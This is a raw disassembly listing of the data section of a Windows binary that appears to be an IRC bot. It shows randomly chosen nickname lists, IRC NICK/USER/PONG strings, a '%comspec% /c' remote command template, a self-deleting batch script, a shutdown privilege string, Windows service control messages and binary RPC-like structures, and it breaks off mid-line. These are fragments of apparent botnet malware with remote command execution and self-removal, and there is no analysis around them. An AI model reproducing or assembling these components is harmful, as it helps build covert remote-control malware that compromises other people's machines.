"ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset aAyla ; "AYLA-" dd offset off_43902C dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438E98 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" ; char *off_438A68 off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r ; sub_417E84+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_0 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_4392F4 dd offset aC ; "c" dd offset dword_439310 dd offset aE ; "e" dd offset dword_43930C dd offset dword_439308 dd offset dword_439304 dd offset aI ; "i" dd offset a_ ; "_" dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_439300 dd offset aM_0 ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_439318 dd offset dword_4392F8 dd offset dword_439314 dd offset dword_4392FC dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_4392FC dd offset dword_439308 dd offset aS_5 ; "s" dd offset aQ ; "q" dd offset off_438CB8 dd offset aBbl ; "|bbl" dd offset byte_43DB88 dd offset byte_43DB88 dd offset a___0 ; "_|_" dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392C4 dd offset aM_1 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_3 ; "^^^f^" dd offset dword_4392F4 dd offset byte_43DB88 dd offset aSleeping ; "Sleeping" dd offset byte_43DB88 dd offset byte_43DB88 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392A8 dd offset byte_43DB88 dd offset aBoy ; "BOY" dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset aTot_0 ; "tot" dd offset aLol ; "lol" dd offset aLoloA ; "lolo|a|" dd offset aSex4free ; "|sex4free|" dd offset a4us ; "|4us|" dd offset a4you ; "{4you}" dd offset a4u ; "|4u|" dd offset dword_438C04 dd offset dword_438C00 dword_438C00 dd 7536h ; DATA XREF: .data:00438BFCo dword_438C04 dd 7535h ; DATA XREF: .data:00438BF8o a4u db '|4u|',0 ; DATA XREF: .data:00438BF4o align 10h a4you db '{4you}',0 ; DATA XREF: .data:00438BF0o align 4 a4us db '|4us|',0 ; DATA XREF: .data:00438BECo align 10h aSex4free db '|sex4free|',0 ; DATA XREF: .data:00438BE8o align 4 aLoloA db 'lolo|a|',0 ; DATA XREF: .data:00438BE4o aLol db 'lol',0 ; DATA XREF: .data:00438BE0o aTot_0 db 'tot',0 ; DATA XREF: .data:00438BDCo aMofo db 'mofo',0 ; DATA XREF: .data:00438BD8o align 4 aMof0 db 'mof0',0 ; DATA XREF: .data:00438BD4o align 4 aMuha db 'muha',0 ; DATA XREF: .data:00438BD0o align 4 aYeah db 'yeah',0 ; DATA XREF: .data:00438BCCo align 4 aAha db 'aha',0 ; DATA XREF: .data:00438BC8o aShit db 'shit',0 ; DATA XREF: .data:00438BC4o align 4 aGurl db 'gurl',0 ; DATA XREF: .data:00438BC0o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: .data:00438BBCo align 4 aBoy db 'BOY',0 ; DATA XREF: .data:00438BB8o aFree db 'Free',0 ; DATA XREF: .data:00438BA4o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: .data:00438BA0o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: .data:00438B94o align 4 aF_3 db '^^^f^',0 ; DATA XREF: .data:00438B88o align 10h aSad db 'Sad',0 ; DATA XREF: .data:00438B84o aLuvu db 'LUVU',0 ; DATA XREF: .data:00438B80o align 4 a___0 db '_|_',0 ; DATA XREF: .data:00438B64o aBbl db '|bbl',0 ; DATA XREF: .data:00438B58o align 4 off_438CB8 dd offset loc_425240+2 ; DATA XREF: .data:00438B54o aMuckc db 'muckc',0 ; DATA XREF: .data:00438B40o align 4 aTruck db 'truck',0 ; DATA XREF: .data:00438B3Co align 4 aTrimy db 'trimy',0 ; DATA XREF: .data:00438B38o align 4 aLuvy db 'luvy',0 ; DATA XREF: .data:00438B34o align 4 aUi db 'ui',0 ; DATA XREF: .data:00438B30o align 10h aSdf db 'sdf',0 ; DATA XREF: .data:00438B2Co aRt db 'rt',0 ; DATA XREF: .data:00438B28o align 4 aGf db 'gf',0 ; DATA XREF: .data:00438B24o align 4 aTy db 'ty',0 ; DATA XREF: .data:00438B20o align 10h aRg db 'rg',0 ; DATA XREF: .data:00438B1Co align 4 aHappy db 'happy',0 ; DATA XREF: .data:00438B18o align 4 aRs db 'rs',0 ; DATA XREF: .data:00438AF8o align 10h aQ8A db '|q8|a',0 ; DATA XREF: .data:00438AB0o align 4 aQ8 db 'Q8',0 ; DATA XREF: .data:00438AACo align 4 aSick db 'sick}}',0 ; DATA XREF: .data:00438AA8o align 4 aWiked db '|wiked|',0 ; DATA XREF: .data:00438AA4o aLuvuF db '||luvu-f|',0 ; DATA XREF: .data:00438AA0o align 4 aGens db '{gens|',0 ; DATA XREF: .data:00438A9Co align 10h aSex_0 db '{sex}',0 ; DATA XREF: .data:00438A98o align 4 aHub db '{hub}',0 ; DATA XREF: .data:00438A94o align 10h aLuck db '|luck|',0 ; DATA XREF: .data:00438A90o align 4 aSuck db '|suck|',0 ; DATA XREF: .data:00438A8Co align 10h aTot db '-|tot|',0 ; DATA XREF: .data:00438A88o align 4 aWoh db '|woh|',0 ; DATA XREF: .data:00438A84o align 10h aTambe db '|tambe|',0 ; DATA XREF: .data:00438A80o aLag db 'lag',0 ; DATA XREF: .data:00438A7Co aBad db 'bad',0 ; DATA XREF: .data:00438A78o aTree db 'tree',0 ; DATA XREF: .data:00438A74o align 4 aZex db 'zex',0 ; DATA XREF: .data:00438A70o aLez db 'lez',0 ; DATA XREF: .data:00438A6Co aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .data:00438A64o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: .data:00438A60o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: .data:00438A5Co align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .data:00438A58o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: .data:00438A54o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: .data:00438A50o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: .data:00438A4Co align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: .data:00438A48o align 4 aCem39 db 'cem39',0 ; DATA XREF: .data:00438A44o align 10h aCool30m db 'cool30m',0 ; DATA XREF: .data:00438A40o aTropikal db 'tropikal',0 ; DATA XREF: .data:00438A3Co align 4 aPassenger db 'passenger',0 ; DATA XREF: .data:00438A38o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: .data:00438A34o align 4 aUla db 'ula',0 ; DATA XREF: .data:00438A30o aIzmirlm db 'izmirlm',0 ; DATA XREF: .data:00438A2Co aAkden db 'akden',0 ; DATA XREF: .data:00438A28o align 10h aKoray db 'KORAY',0 ; DATA XREF: .data:00438A24o align 4 aAta29 db 'Ata29',0 ; DATA XREF: .data:00438A20o align 10h aFirtina db 'firtina',0 ; DATA XREF: .data:00438A1Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: .data:00438A18o aM41ist db 'M41IST',0 ; DATA XREF: .data:00438A14o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: .data:00438A10o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: .data:00438A0Co align 4 aAnkm db 'ankM',0 ; DATA XREF: .data:00438A08o align 4 aErkan db 'erkan',0 ; DATA XREF: .data:00438A04o align 4 aDevre db 'devre',0 ; DATA XREF: .data:00438A00o align 4 aYabanc db 'yabanc',0 ; DATA XREF: .data:004389FCo align 4 aBirsen db 'birsen',0 ; DATA XREF: .data:004389F8o align 4 aA44m db 'a44m',0 ; DATA XREF: .data:004389F4o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: .data:004389F0o align 4 off_438E98 dd offset byte_4B5245 ; DATA XREF: .data:004389ECo aSevda db 'sevda',0 ; DATA XREF: .data:004389E8o align 4 aKotan db 'kotan',0 ; DATA XREF: .data:004389E4o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: .data:004389E0o align 4 aAchilles db 'Achilles',0 ; DATA XREF: .data:004389DCo align 10h aKapk db 'kapk',0 ; DATA XREF: .data:004389D8o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: .data:004389D4o align 4 aHayran db 'hayran',0 ; DATA XREF: .data:004389D0o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: .data:004389CCo align 4 aAnkar db 'Ankar',0 ; DATA XREF: .data:004389C8o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: .data:004389C4o aAnk32M db 'ANK-32-M',0 ; DATA XREF: .data:004389C0o align 4 aUmut db 'umut-',0 ; DATA XREF: .data:004389BCo align 4 aAdalim db 'ADALIM',0 ; DATA XREF: .data:004389B8o align 4 aKumul db 'kumul',0 ; DATA XREF: .data:004389B4o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: .data:004389B0o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .data:004389ACo align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: .data:004389A8o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: .data:004389A4o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: .data:004389A0o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .data:0043899Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: .data:00438998o aHoly db 'holy',0 ; DATA XREF: .data:00438994o align 10h aFlord db 'FLoRD',0 ; DATA XREF: .data:00438990o align 4 aKebikec db 'kebikec',0 ; DATA XREF: .data:0043898Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .data:00438988o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: .data:00438984o align 4 aEmre db 'Emre--',0 ; DATA XREF: .data:00438980o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: .data:0043897Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: .data:00438978o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: .data:00438974o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: .data:00438970o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .data:0043896Co aArda db 'arda',0 ; DATA XREF: .data:00438968o align 4 aDevran db 'devran',0 ; DATA XREF: .data:00438964o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: .data:00438960o aDenizlim db 'DenizliM',0 ; DATA XREF: .data:0043895Co align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: .data:00438958o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: .data:00438954o align 10h aBogac db 'bogac',0 ; DATA XREF: .data:00438950o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: .data:0043894Co align 4 aAnkh db 'ankh',0 ; DATA XREF: .data:00438948o align 4 off_43902C dd offset byte_457441 ; DATA XREF: .data:00438944o aAyla db 'AYLA-',0 ; DATA XREF: .data:00438940o align 4 aAlbina db 'albina',0 ; DATA XREF: .data:0043893Co align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: .data:00438938o align 4 aZack db 'ZACK',0 ; DATA XREF: .data:00438934o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: .data:00438930o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: .data:0043892Co align 4 aAhmet db 'ahmet',0 ; DATA XREF: .data:00438928o align 4 aPelincik db 'pelincik',0 ; DATA XREF: .data:00438924o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: .data:00438920o align 4 aRetg db 'RETG',0 ; DATA XREF: .data:0043891Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: .data:00438918o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: .data:00438914o aAslii db 'aslii',0 ; DATA XREF: .data:00438910o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: .data:0043890Co aHaticem db 'haticem',0 ; DATA XREF: .data:00438908o aArzu db 'ARZU',0 ; DATA XREF: .data:00438904o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: .data:00438900o aSevmekmi db 'sevmekmi',0 ; DATA XREF: .data:004388FCo align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: .data:004388F8o align 10h aTekir db 'tekir',0 ; DATA XREF: .data:004388F4o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .data:004388F0o align 4 aTrend3 db 'trend3',0 ; DATA XREF: .data:004388ECo align 4 aMelekk db 'melekk',0 ; DATA XREF: .data:004388E8o align 4 aAkin db 'AKIN',0 ; DATA XREF: .data:004388E4o align 4 aMary_0 db 'MARY',0 ; DATA XREF: .data:004388E0o align 4 aJericho db 'JERICHO',0 ; DATA XREF: .data:004388DCo aTolga34 db 'Tolga34',0 ; DATA XREF: .data:004388D8o aMisssunday db 'misssunday',0 ; DATA XREF: .data:004388D4o align 10h aIrmal db 'irmal',0 ; DATA XREF: .data:004388D0o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .data:004388CCo align 4 aBerk19 db 'berk19',0 ; DATA XREF: .data:004388C8o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: .data:004388C4o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: .data:004388C0o aKaan38dent db 'kaan38dent',0 ; DATA XREF: .data:004388BCo align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: .data:004388B8o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .data:004388B4o align 4 aKencing db 'Kencing',0 ; DATA XREF: .data:004388B0o aReshma db 'reshma',0 ; DATA XREF: .data:004388ACo align 4 aCamel db 'CAMEL',0 ; DATA XREF: .data:004388A8o align 4 aGirl db 'GirL',0 ; DATA XREF: .data:004388A4o align 4 aImra db 'imra',0 ; DATA XREF: .data:004388A0o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: .data:0043889Co align 4 aPuregold db 'puregold',0 ; DATA XREF: .data:00438898o align 4 aKermit db 'kermit',0 ; DATA XREF: .data:00438894o align 4 aManee db 'manee',0 ; DATA XREF: .data:00438890o align 4 aTroller db 'troller',0 ; DATA XREF: .data:0043888Co aLuisa db 'Luisa',0 ; DATA XREF: .data:00438888o align 4 aNastysha db 'nastysha',0 ; DATA XREF: .data:00438884o align 10h aRimpy db 'rimpy',0 ; DATA XREF: .data:00438880o align 4 aJanno db 'janno',0 ; DATA XREF: .data:0043887Co align 10h aBunty db 'bunty',0 ; DATA XREF: .data:00438878o align 4 aHeval db 'heval',0 ; DATA XREF: .data:00438874o align 10h aCme db 'cme',0 ; DATA XREF: .data:00438870o aMarcy db 'marcy',0 ; DATA XREF: .data:0043886Co align 4 aTalika db 'talika',0 ; DATA XREF: .data:00438868o align 4 aShez db 'Shez',0 ; DATA XREF: .data:00438864o align 4 aKen db 'ken',0 ; DATA XREF: .data:00438860o aFlexster db 'flexster',0 ; DATA XREF: .data:0043885Co align 4 aKoko db 'koko',0 ; DATA XREF: .data:00438858o align 4 aMale db 'male',0 ; DATA XREF: .data:00438854o align 4 aSwin db 'swin',0 ; DATA XREF: .data:00438850o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: .data:0043884Co aKrizha db 'KRIZHA',0 ; DATA XREF: .data:00438848o align 4 aEmilya db 'emilya',0 ; DATA XREF: .data:00438844o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .data:00438840o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: .data:0043883Co aFarooq db 'farooq',0 ; DATA XREF: .data:00438838o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: .data:00438834o align 4 aM_1: ; DATA XREF: .data:00438830o ; .data:00438B7Co unicode 0, <M>,0 word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r ; .data:0043882Co align 4 dword_43929C dd 42h ; DATA XREF: .data:00438828o dword_4392A0 dd 56h ; DATA XREF: .data:00438824o dword_4392A4 dd 43h ; DATA XREF: .data:00438820o dword_4392A8 dd 58h ; DATA XREF: .data:0043881Co ; .data:00438BB0o dword_4392AC dd 5Ah ; DATA XREF: .data:00438818o dword_4392B0 dd 4Ch ; DATA XREF: .data:00438814o dword_4392B4 dd 4Bh ; DATA XREF: .data:00438810o dword_4392B8 dd 4Ah ; DATA XREF: .data:0043880Co dword_4392BC dd 48h ; DATA XREF: .data:00438808o dword_4392C0 dd 47h ; DATA XREF: .data:00438804o dword_4392C4 dd 46h ; DATA XREF: .data:00438800o ; .data:00438B78o dword_4392C8 dd 44h ; DATA XREF: .data:004387FCo dword_4392CC dd 53h ; DATA XREF: .data:004387F8o dword_4392D0 dd 50h ; DATA XREF: .data:004387F0o dword_4392D4 dd 4Fh ; DATA XREF: .data:004387ECo dword_4392D8 dd 55h ; DATA XREF: .data:004387E4o word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r ; .data:004387E0o align 10h dword_4392E0 dd 54h ; DATA XREF: .data:004387DCo dword_4392E4 dd 52h ; DATA XREF: .data:004387D8o dword_4392E8 dd 45h ; DATA XREF: .data:004387D4o dword_4392EC dd 57h ; DATA XREF: .data:004387D0o dword_4392F0 dd 51h ; DATA XREF: .data:004387CCo dword_4392F4 dd 62h ; DATA XREF: .data:004387C0o ; .data:00438AB4o ... dword_4392F8 dd 78h ; DATA XREF: .data:004387B4o ; .data:00438B0Co dword_4392FC dd 7Ah ; DATA XREF: .data:004387B0o ; .data:00438B14o ... dword_439300 dd 6Ch ; DATA XREF: .data:004387ACo ; .data:00438AE0o dword_439304 dd 68h ; DATA XREF: .data:004387A0o ; .data:00438ACCo dword_439308 dd 67h ; DATA XREF: .data:0043879Co ; .data:00438AC8o ... dword_43930C dd 66h ; DATA XREF: .data:00438798o ; .data:00438AC4o dword_439310 dd 64h ; DATA XREF: .data:00438794o ; .data:00438ABCo dword_439314 dd 79h ; DATA XREF: .data:0043877Co ; .data:00438B10o dword_439318 dd 77h ; DATA XREF: .data:0043876Co ; .data:00438B08o ; char aNickS_1[] aNickS_1 db 'NICK %s',0Ah,0 ; DATA XREF: sub_417B76+B1o align 4 ; char a432[] a432 db '432',0 ; DATA XREF: sub_417B76+79o aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_417B76+61o align 4 ; char aNickSUserSHotm[] aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 ; char a__1[] a__1 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo ; sub_417E84+175r ... align 4 dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o dword_4393DC dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: sub_4182CD+118o dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_4182CD+13Fo ; char aSErrorSD_[] aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o ; char aComspecCSS[] aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o align 4 ; char a[] a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 ; char aSdel_bat[] aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o align 4 ; char asc_4394A4[] asc_4394A4 db '-' ; DATA XREF: sub_418A2E+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 ; char asc_4394FC[] asc_4394FC db '-' ; DATA XREF: sub_418A2E+5Co db 3, 34h, 2 dd 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h, 65726165h dd 64h off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r ; sub_418FE5+51r ... ; "Add" off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr ; sub_418FE5+83r ... ; "Added" dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused_0 db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .data:0043954Co aStop_0 db 'Stop',0 ; DATA XREF: .data:00439548o align 4 aStarted db 'Started',0 ; DATA XREF: .data:00439540o aStart_0 db 'Start',0 ; DATA XREF: .data:0043953Co align 4 aListed db 'Listed',0 ; DATA XREF: .data:00439534o align 4 aList_1 db 'List',0 ; DATA XREF: .data:00439530o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .data:00439528o aDelete_0 db 'Delete',0 ; DATA XREF: .data:00439524o align 4 aAdded db 'Added',0 ; DATA XREF: .data:off_43951Co align 4 aAdd db 'Add',0 ; DATA XREF: .data:off_439518o ; char asc_4395E0[] asc_4395E0 db '-' ; DATA XREF: sub_418C0E+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h ; char asc_439630[] asc_439630 db '-' ; DATA XREF: sub_418C0E+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 ; char aAnUnknownError[] aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co align 10h ; char aTheSystemIsShu[] aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418D2A:loc_418E34o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418D2A:loc_418E2Do align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418D2A:loc_418E26o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E1Fo align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418D2A:loc_418E11o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418D2A:loc_418E0Ao db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E03o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418D2A:loc_418DD8o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418D2A:loc_418DD1o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418D2A:loc_418DCAo db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418D2A:loc_418DC3o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418D2A:loc_418D98o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418D2A:loc_418D8Eo aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418D2A:loc_418D84o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418D2A:loc_418D70o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co align 4 ; char aSSS_2[] aSSS_2 db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo ; char aStopped[] aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o aPaused db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: 